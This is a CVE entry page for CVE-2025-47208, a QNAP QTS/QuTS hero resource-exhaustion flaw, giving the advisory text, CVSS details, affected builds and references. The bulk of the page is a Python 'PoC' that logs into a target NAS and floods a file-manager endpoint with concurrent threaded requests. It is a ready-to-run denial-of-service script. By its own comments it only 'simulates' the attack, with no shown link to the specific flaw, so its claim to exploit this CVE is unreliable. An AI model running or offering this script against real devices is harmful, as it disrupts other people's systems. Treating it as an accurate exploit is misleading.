CVE-2025-47208

Description

An allocation of resources without limits or throttling vulnerability has been reported to affect several QNAP operating system versions. If a remote attacker gains a user account, they can then exploit the vulnerability to prevent other systems, applications, or processes from accessing the same type of resource. We have already fixed the vulnerability in the following versions: QTS 5.2.6.3195 build 20250715 and later QuTS hero h5.2.6.3195 build 20250715 and later

CVSS Details

CVSS Score

6.5

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:o:qnap:quts_hero:h5.2.0.2737:build_20240417:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:qnap:quts_hero:h5.2.0.2782:build_20240601:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:qnap:quts_hero:h5.2.0.2789:build_20240607:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:qnap:quts_hero:h5.2.0.2802:build_20240620:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:qnap:quts_hero:h5.2.0.2823:build_20240711:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:qnap:qts:5.2.0.2737:build_20240417:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:qnap:qts:5.2.0.2744:build_20240424:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:qnap:qts:5.2.0.2782:build_20240601:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:qnap:qts:5.2.0.2802:build_20240620:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:qnap:qts:5.2.0.2823:build_20240711:*:*:*:*:*:* - VULNERABLE

QNAP QTS < 5.2.6.3195 build 20250715

QNAP QuTS hero < h5.2.6.3195 build 20250715

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

#!/usr/bin/env python3
# CVE-2025-47208 PoC - Resource Exhaustion Attack
# Target: QNAP QTS/QuTS hero
# Note: This PoC is for educational and authorized testing purposes only

import requests
import concurrent.futures
import time
import sys

def exploit_resource_exhaustion(target_url, username, password, num_threads=10):
    """
    Simulate resource exhaustion attack by making concurrent resource-intensive requests
    """
    session = requests.Session()
    
    # Login to get valid session
    login_url = f"{target_url}/cgi-bin/authLogin.cgi"
    login_data = {
        'username': username,
        'password': password
    }
    
    try:
        response = session.post(login_url, data=login_data, timeout=10)
        if response.status_code != 200:
            print(f"[-] Login failed: {response.status_code}")
            return False
        print("[+] Login successful")
    except requests.exceptions.RequestException as e:
        print(f"[-] Connection error: {e}")
        return False
    
    # Resource exhaustion through repeated file operations
    def resource_intensive_request(i):
        try:
            # Simulate file listing requests that consume resources
            file_url = f"{target_url}/cgi-bin/filemanager/cgi.fcgi?operation=list&path=/"
            headers = {'Cookie': f'NAS_SID={session.cookies.get("NAS_SID")}'}
            resp = session.get(file_url, headers=headers, timeout=5)
            return f"Request {i}: {resp.status_code}"
        except Exception as e:
            return f"Request {i}: Failed - {e}"
    
    print(f"[*] Starting resource exhaustion with {num_threads} threads...")
    start_time = time.time()
    
    with concurrent.futures.ThreadPoolExecutor(max_workers=num_threads) as executor:
        futures = [executor.submit(resource_intensive_request, i) for i in range(100)]
        results = [f.result() for f in concurrent.futures.as_completed(futures)]
    
    elapsed = time.time() - start_time
    print(f"[*] Completed 100 requests in {elapsed:.2f} seconds")
    print("[*] Check system resource usage to verify exhaustion")
    
    return True

if __name__ == "__main__":
    if len(sys.argv) < 4:
        print("Usage: python3 cve-2025-47208-poc.py <target_url> <username> <password>")
        print("Example: python3 cve-2025-47208-poc.py https://192.168.1.100 admin password123")
        sys.exit(1)
    
    target = sys.argv[1]
    user = sys.argv[2]
    pwd = sys.argv[3]
    exploit_resource_exhaustion(target, user, pwd)

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-47208
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-47208
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-47208/
[4] VulDB https://vuldb.com/cve/CVE-2025-47208
[5] https://www.qnap.com/en/security-advisory/qsa-25-50

Raw JSON Data

JSON

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